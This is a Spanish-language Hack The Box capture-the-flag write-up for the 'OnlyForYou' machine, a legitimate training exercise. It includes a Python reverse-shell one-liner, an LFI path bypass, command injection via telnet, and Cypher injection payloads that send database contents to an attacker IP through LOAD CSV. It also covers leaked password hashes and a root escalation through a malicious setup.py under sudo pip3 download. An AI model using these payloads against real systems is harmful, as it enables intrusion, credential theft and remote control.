Write-up OnlyForYou [Medium] - Hack The Box
Publicación del write-up de sujeto a las guías generales de Hack The Box.
Write-up OnlyForYou [Medium] - Hack The Box
Mi perfil de Hack The Box: julianglez16
Enumeración
Puertos
Directorios web
Virtual hosts
Tecnologías web
Funcionalidad web
Análisis con BurpSuite
Petición al suscribir un correo a la newsletter: .png)
Explotación
Usuario
Al descargar el código fuente desde beta.only4you.htb y descomprimirlo se puede ver un código fuente escrito en python.
Analizando el código fuente se descubren varios endpoints nuevos para el dominio beta.only4you.htb:
Al realizar la descarga de una imagen redimensionada, se realiza una petición POST al servidor con la ruta del fichero en el cuerpo. La única “sanitización” que contiene la función /download en el código es comprobar si el fichero contiene .. o empieza por ../ para intentar evitar ataques LFI. Al fijarse en el comportamiento del código para evitar LFI, se observa que en el segundo if comprueba si el nombre del fichero es un path absoluto o no, y si no lo es, lo concatena con el path del directorio de imágenes. Al inyectar un path absoluto en el fichero de la petición, se realiza exitosamente el LFI.
Al obtener el fichero /etc/nginx/sites-available/default se puede conocer el directorio raíz del servidor web. Con esta información se obtiene el código fuente de la aplicación web inicial para comprobar si existe alguna vulnerabilidad en dicha web.
Código fuente de la aplicación web principa .png)
Obtención del fichero form.py: .png)
El fichero form.py contiene el método issecure que es vulnerable a Command Injection debido al uso de la función run de la librería subprocess de python.
Aprovechando esta vulnerabilidad, se puede probar a ejecutar el comando | telnet [IP] [PUERTO] para comprobar la efectividad de la inyección.
Respuesta del servidor gracias al command injection: .png)
Con esto se puede realizar un shell reverso que conecte a nuestra máquina con el payload
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")’
Enumerando los puertos abiertos se encuentran algunos de interés dentro de la máquina
Para poder acceder a dichos servicios expuestos en la interfaz de localhost se utiliza Chisel con la siguiente configuración
Ejecución de Chisel en la máquina atacada: .png)
Ejecución de Chisel en la máquina de ataque (kali): .png)
Con esta redirección, al conectarse a la IP 127.0.0.1:8001 en el buscador se llega a la siguiente web
Realizando los mismos pasos para el puerto 3000 de la máquina OnlyForYou se llega a la siguiente web
Realizando lo mismo para el puerto 7474 se llega a la siguiente web
En el login de la página Only4You al usar las credenciales admin:admin se accede a un panel con diferentes gráficos y opciones.
En las tareas se puede ver que utiliza la base de datos neo4j
En el panel de empleados hay una barra de búsqueda. Desde esta se puede realizar una inyección llamada Cypher Injection.
Con el siguiente payload:
1
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM '[http://IP:PUERTO/?version=](http://10.10.14.200:7777/?version=)' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
Con el siguiente payload se obtiene el nombre de las tablas existentes en la BD:
1
' OR 1=1 CALL db.labels() YIELD label LOAD CSV FROM "http://10.10.16.8:7777/?" + label as line RETURN 0 //
Con el siguiente payload se obtienen los campos de la tabla user
1
' OR 1=1 WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://10.10.16.8:7777/?' + p + '=' + toString(u[p]) as l RETURN 0 as _0 //
Respuesta con las credenciales de los usuarios: .png)
Las contraseñas están cifradas con SHA256 por lo que hay que crackearlo
Comprobación del tipo de hash de la contraseña del usuario john: .png)
admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
Con estas credenciales se puede hacer SSH a la máquina con el usuario john. Estas credenciales sirven también para hacer login en el repositorio de Gogs que se descubrió en el puerto 3000.
Root
Una vez dentro de la máquina con el usuario john, se comprueba que tiene permisos de sudo para ejecutar /usr/bin/pip3 download http://127.0.0.1:3000/*.tar.gz.
Con esta funcionalidad se puede ejecutar código con permisos de root debido a que pip download ejecuta el fichero setup.py que esté dentro del paquete (https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8).
Siguiendo este tutorial, se crea un paquete con un fichero setup.py malicioso que realice un shell reverso hacia nuestra máquina: https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
Con el comando python3 setup.py sdist se crea un fichero comprimido con el paquete que hemos creado.
Este es el fichero que se sube al repositorio para poder realizar la escalada de privilegios a través de pip3 download. Para poder obtener el paquete del repositorio es necesario hacerlo público a través de los ajustes del repositorio.
Finalmente se realiza el download con pip3 y se obtiene la conexión con permisos de root.


.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)